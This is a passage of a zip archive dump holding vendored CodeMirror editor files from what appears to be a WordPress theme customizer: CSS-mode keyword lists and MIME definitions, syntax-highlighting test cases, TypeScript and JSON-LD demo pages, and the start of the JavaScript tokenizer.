    "katakana", "katakana-iroha", "keep-all", "khmer",
    "korean-hangul-formal", "korean-hanja-formal", "korean-hanja-informal",
    "landscape", "lao", "large", "larger", "left", "level", "lighter",
    "line-through", "linear", "linear-gradient", "lines", "list-item", "listbox", "listitem",
    "local", "logical", "loud", "lower", "lower-alpha", "lower-armenian",
    "lower-greek", "lower-hexadecimal", "lower-latin", "lower-norwegian",
    "lower-roman", "lowercase", "ltr", "malayalam", "match", "matrix", "matrix3d",
    "media-controls-background", "media-current-time-display",
    "media-fullscreen-button", "media-mute-button", "media-play-button",
    "media-return-to-realtime-button", "media-rewind-button",
    "media-seek-back-button", "media-seek-forward-button", "media-slider",
    "media-sliderthumb", "media-time-remaining-display", "media-volume-slider",
    "media-volume-slider-container", "media-volume-sliderthumb", "medium",
    "menu", "menulist", "menulist-button", "menulist-text",
    "menulist-textfield", "menutext", "message-box", "middle", "min-intrinsic",
    "mix", "mongolian", "monospace", "move", "multiple", "myanmar", "n-resize",
    "narrower", "ne-resize", "nesw-resize", "no-close-quote", "no-drop",
    "no-open-quote", "no-repeat", "none", "normal", "not-allowed", "nowrap",
    "ns-resize", "numbers", "numeric", "nw-resize", "nwse-resize", "oblique", "octal", "open-quote",
    "optimizeLegibility", "optimizeSpeed", "oriya", "oromo", "outset",
    "outside", "outside-shape", "overlay", "overline", "padding", "padding-box",
    "painted", "page", "paused", "persian", "perspective", "plus-darker", "plus-lighter",
    "pointer", "polygon", "portrait", "pre", "pre-line", "pre-wrap", "preserve-3d",
    "progress", "push-button", "radial-gradient", "radio", "read-only",
    "read-write", "read-write-plaintext-only", "rectangle", "region",
    "relative", "repeat", "repeating-linear-gradient",
    "repeating-radial-gradient", "repeat-x", "repeat-y", "reset", "reverse",
    "rgb", "rgba", "ridge", "right", "rotate", "rotate3d", "rotateX", "rotateY",
    "rotateZ", "round", "row", "row-resize", "row-reverse", "rtl", "run-in", "running",
    "s-resize", "sans-serif", "scale", "scale3d", "scaleX", "scaleY", "scaleZ",
    "scroll", "scrollbar", "se-resize", "searchfield",
    "searchfield-cancel-button", "searchfield-decoration",
    "searchfield-results-button", "searchfield-results-decoration",
    "semi-condensed", "semi-expanded", "separate", "serif", "show", "sidama",
    "simp-chinese-formal", "simp-chinese-informal", "single",
    "skew", "skewX", "skewY", "skip-white-space", "slide", "slider-horizontal",
    "slider-vertical", "sliderthumb-horizontal", "sliderthumb-vertical", "slow",
    "small", "small-caps", "small-caption", "smaller", "solid", "somali",
    "source-atop", "source-in", "source-out", "source-over", "space", "space-around", "space-between", "spell-out", "square",
    "square-button", "start", "static", "status-bar", "stretch", "stroke", "sub",
    "subpixel-antialiased", "super", "sw-resize", "symbolic", "symbols", "table",
    "table-caption", "table-cell", "table-column", "table-column-group",
    "table-footer-group", "table-header-group", "table-row", "table-row-group",
    "tamil",
    "telugu", "text", "text-bottom", "text-top", "textarea", "textfield", "thai",
    "thick", "thin", "threeddarkshadow", "threedface", "threedhighlight",
    "threedlightshadow", "threedshadow", "tibetan", "tigre", "tigrinya-er",
    "tigrinya-er-abegede", "tigrinya-et", "tigrinya-et-abegede", "to", "top",
    "trad-chinese-formal", "trad-chinese-informal",
    "translate", "translate3d", "translateX", "translateY", "translateZ",
    "transparent", "ultra-condensed", "ultra-expanded", "underline", "up",
    "upper-alpha", "upper-armenian", "upper-greek", "upper-hexadecimal",
    "upper-latin", "upper-norwegian", "upper-roman", "uppercase", "urdu", "url",
    "var", "vertical", "vertical-text", "visible", "visibleFill", "visiblePainted",
    "visibleStroke", "visual", "w-resize", "wait", "wave", "wider",
    "window", "windowframe", "windowtext", "words", "wrap", "wrap-reverse", "x-large", "x-small", "xor",
    "xx-large", "xx-small"
  ], valueKeywords = keySet(valueKeywords_);

  var allWords = documentTypes_.concat(mediaTypes_).concat(mediaFeatures_).concat(mediaValueKeywords_)
    .concat(propertyKeywords_).concat(nonStandardPropertyKeywords_).concat(colorKeywords_)
    .concat(valueKeywords_);
  CodeMirror.registerHelper("hintWords", "css", allWords);

  function tokenCComment(stream, state) {
    var maybeEnd = false, ch;
    while ((ch = stream.next()) != null) {
      if (maybeEnd && ch == "/") {
        state.tokenize = null;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return ["comment", "comment"];
  }

  CodeMirror.defineMIME("text/css", {
    documentTypes: documentTypes,
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    mediaValueKeywords: mediaValueKeywords,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    fontProperties: fontProperties,
    counterDescriptors: counterDescriptors,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    tokenHooks: {
      "/": function(stream, state) {
        if (!stream.eat("*")) return false;
        state.tokenize = tokenCComment;
        return tokenCComment(stream, state);
      }
    },
    name: "css"
  });

  CodeMirror.defineMIME("text/x-scss", {
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    mediaValueKeywords: mediaValueKeywords,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    fontProperties: fontProperties,
    allowNested: true,
    tokenHooks: {
      "/": function(stream, state) {
        if (stream.eat("/")) {
          stream.skipToEnd();
          return ["comment", "comment"];
        } else if (stream.eat("*")) {
          state.tokenize = tokenCComment;
          return tokenCComment(stream, state);
        } else {
          return ["operator", "operator"];
        }
      },
      ":": function(stream) {
        if (stream.match(/\s*\{/))
          return [null, "{"];
        return false;
      },
      "$": function(stream) {
        stream.match(/^[\w-]+/);
        if (stream.match(/^\s*:/, false))
          return ["variable-2", "variable-definition"];
        return ["variable-2", "variable"];
      },
      "#": function(stream) {
        if (!stream.eat("{")) return false;
        return [null, "interpolation"];
      }
    },
    name: "css",
    helperType: "scss"
  });

  CodeMirror.defineMIME("text/x-less", {
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    mediaValueKeywords: mediaValueKeywords,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    fontProperties: fontProperties,
    allowNested: true,
    tokenHooks: {
      "/": function(stream, state) {
        if (stream.eat("/")) {
          stream.skipToEnd();
          return ["comment", "comment"];
        } else if (stream.eat("*")) {
          state.tokenize = tokenCComment;
          return tokenCComment(stream, state);
        } else {
          return ["operator", "operator"];
        }
      },
      "@": function(stream) {
        if (stream.eat("{")) return [null, "interpolation"];
        if (stream.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/, false)) return false;
        stream.eatWhile(/[\w\\\-]/);
        if (stream.match(/^\s*:/, false))
          return ["variable-2", "variable-definition"];
        return ["variable-2", "variable"];
      },
      "&": function() {
        return ["atom", "atom"];
      }
    },
    name: "css",
    helperType: "less"
  });

  CodeMirror.defineMIME("text/x-gss", {
    documentTypes: documentTypes,
    mediaTypes: mediaTypes,
    mediaFeatures: mediaFeatures,
    propertyKeywords: propertyKeywords,
    nonStandardPropertyKeywords: nonStandardPropertyKeywords,
    fontProperties: fontProperties,
    counterDescriptors: counterDescriptors,
    colorKeywords: colorKeywords,
    valueKeywords: valueKeywords,
    supportsAtComponent: true,
    tokenHooks: {
      "/": function(stream, state) {
        if (!stream.eat("*")) return false;
        state.tokenize = tokenCComment;
        return tokenCComment(stream, state);
      }
    },
    name: "css",
    helperType: "gss"
  });

});
PK     N\/7|    E  inc/customizer/framework/assets/js/vendor/codemirror/mode/css/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "css");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  // Error, because "foobarhello" is neither a known type or property, but
  // property was expected (after "and"), and it should be in parentheses.
  MT("atMediaUnknownType",
     "[def @media] [attribute screen] [keyword and] [error foobarhello] { }");

  // Soft error, because "foobarhello" is not a known property or type.
  MT("atMediaUnknownProperty",
     "[def @media] [attribute screen] [keyword and] ([error foobarhello]) { }");

  // Make sure nesting works with media queries
  MT("atMediaMaxWidthNested",
     "[def @media] [attribute screen] [keyword and] ([property max-width]: [number 25px]) { [tag foo] { } }");

  MT("atMediaFeatureValueKeyword",
     "[def @media] ([property orientation]: [keyword landscape]) { }");

  MT("atMediaUnknownFeatureValueKeyword",
     "[def @media] ([property orientation]: [error upsidedown]) { }");

  MT("tagSelector",
     "[tag foo] { }");

  MT("classSelector",
     "[qualifier .foo-bar_hello] { }");

  MT("idSelector",
     "[builtin #foo] { [error #foo] }");

  MT("tagSelectorUnclosed",
     "[tag foo] { [property margin]: [number 0] } [tag bar] { }");

  MT("tagStringNoQuotes",
     "[tag foo] { [property font-family]: [variable hello] [variable world]; }");

  MT("tagStringDouble",
     "[tag foo] { [property font-family]: [string \"hello world\"]; }");

  MT("tagStringSingle",
     "[tag foo] { [property font-family]: [string 'hello world']; }");

  MT("tagColorKeyword",
     "[tag foo] {",
     "  [property color]: [keyword black];",
     "  [property color]: [keyword navy];",
     "  [property color]: [keyword yellow];",
     "}");

  MT("tagColorHex3",
     "[tag foo] { [property background]: [atom #fff]; }");

  MT("tagColorHex4",
     "[tag foo] { [property background]: [atom #ffff]; }");

  MT("tagColorHex6",
     "[tag foo] { [property background]: [atom #ffffff]; }");

  MT("tagColorHex8",
     "[tag foo] { [property background]: [atom #ffffffff]; }");

  MT("tagColorHex5Invalid",
     "[tag foo] { [property background]: [atom&error #fffff]; }");

  MT("tagColorHexInvalid",
     "[tag foo] { [property background]: [atom&error #ffg]; }");

  MT("tagNegativeNumber",
     "[tag foo] { [property margin]: [number -5px]; }");

  MT("tagPositiveNumber",
     "[tag foo] { [property padding]: [number 5px]; }");

  MT("tagVendor",
     "[tag foo] { [meta -foo-][property box-sizing]: [meta -foo-][atom border-box]; }");

  MT("tagBogusProperty",
     "[tag foo] { [property&error barhelloworld]: [number 0]; }");

  MT("tagTwoProperties",
     "[tag foo] { [property margin]: [number 0]; [property padding]: [number 0]; }");

  MT("tagTwoPropertiesURL",
     "[tag foo] { [property background]: [atom url]([string //example.com/foo.png]); [property padding]: [number 0]; }");

  MT("indent_tagSelector",
     "[tag strong], [tag em] {",
     "  [property background]: [atom rgba](",
     "    [number 255], [number 255], [number 0], [number .2]",
     "  );",
     "}");

  MT("indent_atMedia",
     "[def @media] {",
     "  [tag foo] {",
     "    [property color]:",
     "      [keyword yellow];",
     "  }",
     "}");

  MT("indent_comma",
     "[tag foo] {",
     "  [property font-family]: [variable verdana],",
     "    [atom sans-serif];",
     "}");

  MT("indent_parentheses",
     "[tag foo]:[variable-3 before] {",
     "  [property background]: [atom url](",
     "[string     blahblah]",
     "[string     etc]",
     "[string   ]) [keyword !important];",
     "}");

  MT("font_face",
     "[def @font-face] {",
     "  [property font-family]: [string 'myfont'];",
     "  [error nonsense]: [string 'abc'];",
     "  [property src]: [atom url]([string http://blah]),",
     "    [atom url]([string http://foo]);",
     "}");

  MT("empty_url",
     "[def @import] [atom url]() [attribute screen];");

  MT("parens",
     "[qualifier .foo] {",
     "  [property background-image]: [variable fade]([atom #000], [number 20%]);",
     "  [property border-image]: [atom linear-gradient](",
     "    [atom to] [atom bottom],",
     "    [variable fade]([atom #000], [number 20%]) [number 0%],",
     "    [variable fade]([atom #000], [number 20%]) [number 100%]",
     "  );",
     "}");

  MT("css_variable",
     ":[variable-3 root] {",
     "  [variable-2 --main-color]: [atom #06c];",
     "}",
     "[tag h1][builtin #foo] {",
     "  [property color]: [atom var]([variable-2 --main-color]);",
     "}");

  MT("supports",
     "[def @supports] ([keyword not] (([property text-align-last]: [atom justify]) [keyword or] ([meta -moz-][property text-align-last]: [atom justify])) {",
     "  [property text-align-last]: [atom justify];",
     "}");

   MT("document",
      "[def @document] [tag url]([string http://blah]),",
      "  [tag url-prefix]([string https://]),",
      "  [tag domain]([string blah.com]),",
      "  [tag regexp]([string \".*blah.+\"]) {",
      "    [builtin #id] {",
      "      [property background-color]: [keyword white];",
      "    }",
      "    [tag foo] {",
      "      [property font-family]: [variable Verdana], [atom sans-serif];",
      "    }",
      "}");

   MT("document_url",
      "[def @document] [tag url]([string http://blah]) { [qualifier .class] { } }");

   MT("document_urlPrefix",
      "[def @document] [tag url-prefix]([string https://]) { [builtin #id] { } }");

   MT("document_domain",
      "[def @document] [tag domain]([string blah.com]) { [tag foo] { } }");

   MT("document_regexp",
      "[def @document] [tag regexp]([string \".*blah.+\"]) { [builtin #id] { } }");

   MT("counter-style",
      "[def @counter-style] [variable binary] {",
      "  [property system]: [atom numeric];",
      "  [property symbols]: [number 0] [number 1];",
      "  [property suffix]: [string \".\"];",
      "  [property range]: [atom infinite];",
      "  [property speak-as]: [atom numeric];",
      "}");

   MT("counter-style-additive-symbols",
      "[def @counter-style] [variable simple-roman] {",
      "  [property system]: [atom additive];",
      "  [property additive-symbols]: [number 10] [variable X], [number 5] [variable V], [number 1] [variable I];",
      "  [property range]: [number 1] [number 49];",
      "}");

   MT("counter-style-use",
      "[tag ol][qualifier .roman] { [property list-style]: [variable simple-roman]; }");

   MT("counter-style-symbols",
      "[tag ol] { [property list-style]: [atom symbols]([atom cyclic] [string \"*\"] [string \"\\2020\"] [string \"\\2021\"] [string \"\\A7\"]); }");
})();
PK     N\e    T  inc/customizer/framework/assets/js/vendor/codemirror/mode/javascript/typescript.htmlnu [        <!doctype html>

<title>CodeMirror: TypeScript mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="javascript.js"></script>
<style type="text/css">.CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;}</style>
<div id=nav>
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">TypeScript</a>
  </ul>
</div>

<article>
<h2>TypeScript mode</h2>


<div><textarea id="code" name="code">
class Greeter {
	greeting: string;
	constructor (message: string) {
		this.greeting = message;
	}
	greet() {
		return "Hello, " + this.greeting;
	}
}   

var greeter = new Greeter("world");

var button = document.createElement('button')
button.innerText = "Say Hello"
button.onclick = function() {
	alert(greeter.greet())
}

document.body.appendChild(button)

</textarea></div>

    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        lineNumbers: true,
        matchBrackets: true,
        mode: "text/typescript"
      });
    </script>

    <p>This is a specialization of the <a href="index.html">JavaScript mode</a>.</p>
  </article>
PK     N\0f  f  Q  inc/customizer/framework/assets/js/vendor/codemirror/mode/javascript/json-ld.htmlnu [        <!doctype html>

<title>CodeMirror: JSON-LD mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="../../addon/edit/matchbrackets.js"></script>
<script src="../../addon/comment/continuecomment.js"></script>
<script src="../../addon/comment/comment.js"></script>
<script src="javascript.js"></script>
<style type="text/css">.CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;}</style>
<div id="nav">
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"/></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">JSON-LD</a>
  </ul>
</div>

<article>
<h2>JSON-LD mode</h2>


<div><textarea id="code" name="code">
{
  "@context": {
    "name": "http://schema.org/name",
    "description": "http://schema.org/description",
    "image": {
      "@id": "http://schema.org/image",
      "@type": "@id"
    },
    "geo": "http://schema.org/geo",
    "latitude": {
      "@id": "http://schema.org/latitude",
      "@type": "xsd:float"
    },
    "longitude": {
      "@id": "http://schema.org/longitude",
      "@type": "xsd:float"
    },
    "xsd": "http://www.w3.org/2001/XMLSchema#"
  },
  "name": "The Empire State Building",
  "description": "The Empire State Building is a 102-story landmark in New York City.",
  "image": "http://www.civil.usherbrooke.ca/cours/gci215a/empire-state-building.jpg",
  "geo": {
    "latitude": "40.75",
    "longitude": "73.98"
  }
}
</textarea></div>

    <script>
      var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
        matchBrackets: true,
        autoCloseBrackets: true,
        mode: "application/ld+json",
        lineWrapping: true
      });
    </script>
    
    <p>This is a specialization of the <a href="index.html">JavaScript mode</a>.</p>
  </article>
PK     N\k  k  L  inc/customizer/framework/assets/js/vendor/codemirror/mode/javascript/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "javascript");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  MT("locals",
     "[keyword function] [def foo]([def a], [def b]) { [keyword var] [def c] [operator =] [number 10]; [keyword return] [variable-2 a] [operator +] [variable-2 c] [operator +] [variable d]; }");

  MT("comma-and-binop",
     "[keyword function](){ [keyword var] [def x] [operator =] [number 1] [operator +] [number 2], [def y]; }");

  MT("destructuring",
     "([keyword function]([def a], [[[def b], [def c] ]]) {",
     "  [keyword let] {[def d], [property foo]: [def c][operator =][number 10], [def x]} [operator =] [variable foo]([variable-2 a]);",
     "  [[[variable-2 c], [variable y] ]] [operator =] [variable-2 c];",
     "})();");

  MT("class_body",
     "[keyword class] [def Foo] {",
     "  [property constructor]() {}",
     "  [property sayName]() {",
     "    [keyword return] [string-2 `foo${][variable foo][string-2 }oo`];",
     "  }",
     "}");

  MT("class",
     "[keyword class] [def Point] [keyword extends] [variable SuperThing] {",
     "  [property get] [property prop]() { [keyword return] [number 24]; }",
     "  [property constructor]([def x], [def y]) {",
     "    [keyword super]([string 'something']);",
     "    [keyword this].[property x] [operator =] [variable-2 x];",
     "  }",
     "}");

  MT("import",
     "[keyword function] [def foo]() {",
     "  [keyword import] [def $] [keyword from] [string 'jquery'];",
     "  [keyword import] { [def encrypt], [def decrypt] } [keyword from] [string 'crypto'];",
     "}");

  MT("const",
     "[keyword function] [def f]() {",
     "  [keyword const] [[ [def a], [def b] ]] [operator =] [[ [number 1], [number 2] ]];",
     "}");

  MT("for/of",
     "[keyword for]([keyword let] [def of] [keyword of] [variable something]) {}");

  MT("generator",
     "[keyword function*] [def repeat]([def n]) {",
     "  [keyword for]([keyword var] [def i] [operator =] [number 0]; [variable-2 i] [operator <] [variable-2 n]; [operator ++][variable-2 i])",
     "    [keyword yield] [variable-2 i];",
     "}");

  MT("quotedStringAddition",
     "[keyword let] [def f] [operator =] [variable a] [operator +] [string 'fatarrow'] [operator +] [variable c];");

  MT("quotedFatArrow",
     "[keyword let] [def f] [operator =] [variable a] [operator +] [string '=>'] [operator +] [variable c];");

  MT("fatArrow",
     "[variable array].[property filter]([def a] [operator =>] [variable-2 a] [operator +] [number 1]);",
     "[variable a];", // No longer in scope
     "[keyword let] [def f] [operator =] ([[ [def a], [def b] ]], [def c]) [operator =>] [variable-2 a] [operator +] [variable-2 c];",
     "[variable c];");

  MT("spread",
     "[keyword function] [def f]([def a], [meta ...][def b]) {",
     "  [variable something]([variable-2 a], [meta ...][variable-2 b]);",
     "}");

  MT("comprehension",
     "[keyword function] [def f]() {",
     "  [[([variable x] [operator +] [number 1]) [keyword for] ([keyword var] [def x] [keyword in] [variable y]) [keyword if] [variable pred]([variable-2 x]) ]];",
     "  ([variable u] [keyword for] ([keyword var] [def u] [keyword of] [variable generateValues]()) [keyword if] ([variable-2 u].[property color] [operator ===] [string 'blue']));",
     "}");

  MT("quasi",
     "[variable re][string-2 `fofdlakj${][variable x] [operator +] ([variable re][string-2 `foo`]) [operator +] [number 1][string-2 }fdsa`] [operator +] [number 2]");

  MT("quasi_no_function",
     "[variable x] [operator =] [string-2 `fofdlakj${][variable x] [operator +] [string-2 `foo`] [operator +] [number 1][string-2 }fdsa`] [operator +] [number 2]");

  MT("indent_statement",
     "[keyword var] [def x] [operator =] [number 10]",
     "[variable x] [operator +=] [variable y] [operator +]",
     "  [atom Infinity]",
     "[keyword debugger];");

  MT("indent_if",
     "[keyword if] ([number 1])",
     "  [keyword break];",
     "[keyword else] [keyword if] ([number 2])",
     "  [keyword continue];",
     "[keyword else]",
     "  [number 10];",
     "[keyword if] ([number 1]) {",
     "  [keyword break];",
     "} [keyword else] [keyword if] ([number 2]) {",
     "  [keyword continue];",
     "} [keyword else] {",
     "  [number 10];",
     "}");

  MT("indent_for",
     "[keyword for] ([keyword var] [def i] [operator =] [number 0];",
     "     [variable i] [operator <] [number 100];",
     "     [variable i][operator ++])",
     "  [variable doSomething]([variable i]);",
     "[keyword debugger];");

  MT("indent_c_style",
     "[keyword function] [def foo]()",
     "{",
     "  [keyword debugger];",
     "}");

  MT("indent_else",
     "[keyword for] (;;)",
     "  [keyword if] ([variable foo])",
     "    [keyword if] ([variable bar])",
     "      [number 1];",
     "    [keyword else]",
     "      [number 2];",
     "  [keyword else]",
     "    [number 3];");

  MT("indent_funarg",
     "[variable foo]([number 10000],",
     "    [keyword function]([def a]) {",
     "  [keyword debugger];",
     "};");

  MT("indent_below_if",
     "[keyword for] (;;)",
     "  [keyword if] ([variable foo])",
     "    [number 1];",
     "[number 2];");

  MT("multilinestring",
     "[keyword var] [def x] [operator =] [string 'foo\\]",
     "[string bar'];");

  MT("scary_regexp",
     "[string-2 /foo[[/]]bar/];");

  MT("indent_strange_array",
     "[keyword var] [def x] [operator =] [[",
     "  [number 1],,",
     "  [number 2],",
     "]];",
     "[number 10];");

  MT("param_default",
     "[keyword function] [def foo]([def x] [operator =] [string-2 `foo${][number 10][string-2 }bar`]) {",
     "  [keyword return] [variable-2 x];",
     "}");

  MT("new_target",
     "[keyword function] [def F]([def target]) {",
     "  [keyword if] ([variable-2 target] [operator &&] [keyword new].[keyword target].[property name]) {",
     "    [keyword return] [keyword new]",
     "      .[keyword target];",
     "  }",
     "}");

  var jsonld_mode = CodeMirror.getMode(
    {indentUnit: 2},
    {name: "javascript", jsonld: true}
  );
  function LD(name) {
    test.mode(name, jsonld_mode, Array.prototype.slice.call(arguments, 1));
  }

  LD("json_ld_keywords",
    '{',
    '  [meta "@context"]: {',
    '    [meta "@base"]: [string "http://example.com"],',
    '    [meta "@vocab"]: [string "http://xmlns.com/foaf/0.1/"],',
    '    [property "likesFlavor"]: {',
    '      [meta "@container"]: [meta "@list"]',
    '      [meta "@reverse"]: [string "@beFavoriteOf"]',
    '    },',
    '    [property "nick"]: { [meta "@container"]: [meta "@set"] },',
    '    [property "nick"]: { [meta "@container"]: [meta "@index"] }',
    '  },',
    '  [meta "@graph"]: [[ {',
    '    [meta "@id"]: [string "http://dbpedia.org/resource/John_Lennon"],',
    '    [property "name"]: [string "John Lennon"],',
    '    [property "modified"]: {',
    '      [meta "@value"]: [string "2010-05-29T14:17:39+02:00"],',
    '      [meta "@type"]: [string "http://www.w3.org/2001/XMLSchema#dateTime"]',
    '    }',
    '  } ]]',
    '}');

  LD("json_ld_fake",
    '{',
    '  [property "@fake"]: [string "@fake"],',
    '  [property "@contextual"]: [string "@identifier"],',
    '  [property "user@domain.com"]: [string "@graphical"],',
    '  [property "@ID"]: [string "@@ID"]',
    '}');
})();
PK     N\1j  j  R  inc/customizer/framework/assets/js/vendor/codemirror/mode/javascript/javascript.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// TODO actually recognize syntax of TypeScript constructs

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("javascript", function(config, parserConfig) {
  var indentUnit = config.indentUnit;
  var statementIndent = parserConfig.statementIndent;
  var jsonldMode = parserConfig.jsonld;
  var jsonMode = parserConfig.json || jsonldMode;
  var isTS = parserConfig.typescript;
  var wordRE = parserConfig.wordCharacters || /[\w$\xa1-\uffff]/;

  // Tokenizer

  var keywords = function(){
    function kw(type) {return {type: type, style: "keyword"};}
    var A = kw("keyword a"), B = kw("keyword b"), C = kw("keyword c");
    var operator = kw("operator"), atom = {type: "atom", style: "atom"};

    var jsKeywords = {
      "if": kw("if"), "while": A, "with": A, "else": B, "do": B, "try": B, "finally": B,
      "return": C, "break": C, "continue": C, "new": kw("new"), "delete": C, "throw": C, "debugger": C,
      "var": kw("var"), "const": kw("var"), "let": kw("var"),
      "function": kw("function"), "catch": kw("catch"),
      "for": kw("for"), "switch": kw("switch"), "case": kw("case"), "default": kw("default"),
      "in": operator, "typeof": operator, "instanceof": operator,
      "true": atom, "false": atom, "null": atom, "undefined": atom, "NaN": atom, "Infinity": atom,
      "this": kw("this"), "class": kw("class"), "super": kw("atom"),
      "yield": C, "export": kw("export"), "import": kw("import"), "extends": C
    };

    // Extend the 'normal' keywords with the TypeScript language extensions
    if (isTS) {
      var type = {type: "variable", style: "variable-3"};
      var tsKeywords = {
        // object-like things
        "interface": kw("interface"),
        "extends": kw("extends"),
        "constructor": kw("constructor"),

        // scope modifiers
        "public": kw("public"),
        "private": kw("private"),
        "protected": kw("protected"),
        "static": kw("static"),

        // types
        "string": type, "number": type, "boolean": type, "any": type
      };

      for (var attr in tsKeywords) {
        jsKeywords[attr] = tsKeywords[attr];
      }
    }

    return jsKeywords;
  }();

  var isOperatorChar = /[+\-*&%=<>!?|~^]/;
  var isJsonldKeyword = /^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;

  function readRegexp(stream) {
    var escaped = false, next, inSet = false;
    while ((next = stream.next()) != null) {
      if (!escaped) {
        if (next == "/" && !inSet) return;
        if (next == "[") inSet = true;
        else if (inSet && next == "]") inSet = false;
      }
      escaped = !escaped && next == "\\";
    }
  }

  // Used as scratch variables to communicate multiple values without
  // consing up tons of objects.
  var type, content;
  function ret(tp, style, cont) {
    type = tp; content = cont;
    return style;
  }
  function tokenBase(stream, state) {
    var ch = stream.next();
    if (ch == '"' || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    } else if (ch == "." && stream.match(/^\d+(?:[eE][+\-]?\d+)?/)) {
      return ret("number", "number");
    } else if (ch == "." && stream.match("..")) {
      return ret("spread", "meta");
    } else if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
      return ret(ch);
    } else if (ch == "=" && stream.eat(">")) {
      return ret("=>", "operator");
    } else if (ch == "0" && stream.eat(/x/i)) {
      stream.eatWhile(/[\da-f]/i);
      return ret("number", "number");
    } else if (ch == "0" && stream.eat(/o/i)) {
      stream.eatWhile(/[0-7]/i);
      return ret("number", "number");
    } else if (ch == "0" && stream.eat(/b/i)) {
      stream.eatWhile(/[01]/i);
      return ret("number", "number");
    } else if (/\d/.test(ch)) {
      stream.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/);
      return ret("number", "number");
    } else if (ch == "/") {
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      } else if (stream.eat("/")) {
        stream.skipToEnd();
        return ret("comment", "comment");
      } else if (/^(?:operator|sof|keyword c|case|new|[\[{}\(,;:])$/.test(state.lastType)) {
        readRegexp(stream);
        stream.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);
        return ret("regexp", "string-2");
      } else {
        stream.eatWhile(isOperatorChar);
        return ret("operator", "operator", stream.current());
      }
    } else if (ch == "`") {
      state.tokenize = tokenQuasi;
      return tokenQuasi(stream, state);
    } else if (ch == "#") {
      stream.skipToEnd();
      return ret("error", "error");
    } else if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return ret("operator", "operator", stream.current());
    } else if (wordRE.test(ch)) {
      stream.eatWhile(wordRE);
      var word = stream.current(), known = keywords.propertyIsEnumerable(word) && keywords[word];
      return (known && state.lastType != ".") ? ret(known.type, known.style, word) :
                     ret("variable", "variable", word);
    }
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next;
      if (jsonldMode && stream.peek() == "@" && stream.match(isJsonldKeyword)){
        state.tokenize = tokenBase;
        return ret("jsonld-keyword", "meta");
      }
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) break;
        escaped = !escaped && next == "\\";
      }
      if (!escaped) state.tokenize = tokenBase;
      return ret("string", "string");
    };
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return ret("comment", "comment");
  }

  function tokenQuasi(stream, state) {
    var escaped = false, next;
    while ((next = stream.next()) != null) {
      if (!escaped && (next == "`" || next == "$" && stream.eat("{"))) {
        state.tokenize = tokenBase;
        break;
      }
      escaped = !escaped && next == "\\";
    }
    return ret("quasi", "string-2", stream.current());
  }

  var brackets = "([{}])";
  // This is a crude lookahead trick to try and notice that we're
  // parsing the argument patterns for a fat-arrow function before we
  // actually hit the arrow token. It only works if the arrow is on
  // the same line as the arguments and there's no strange noise
  // (comments) in between. Fallback is to only notice when we hit the
  // arrow, and not declare the arguments as locals for the arrow
  // body.
  function findFatArrow(stream, state) {
    if (state.fatArrowAt) state.fatArrowAt = null;
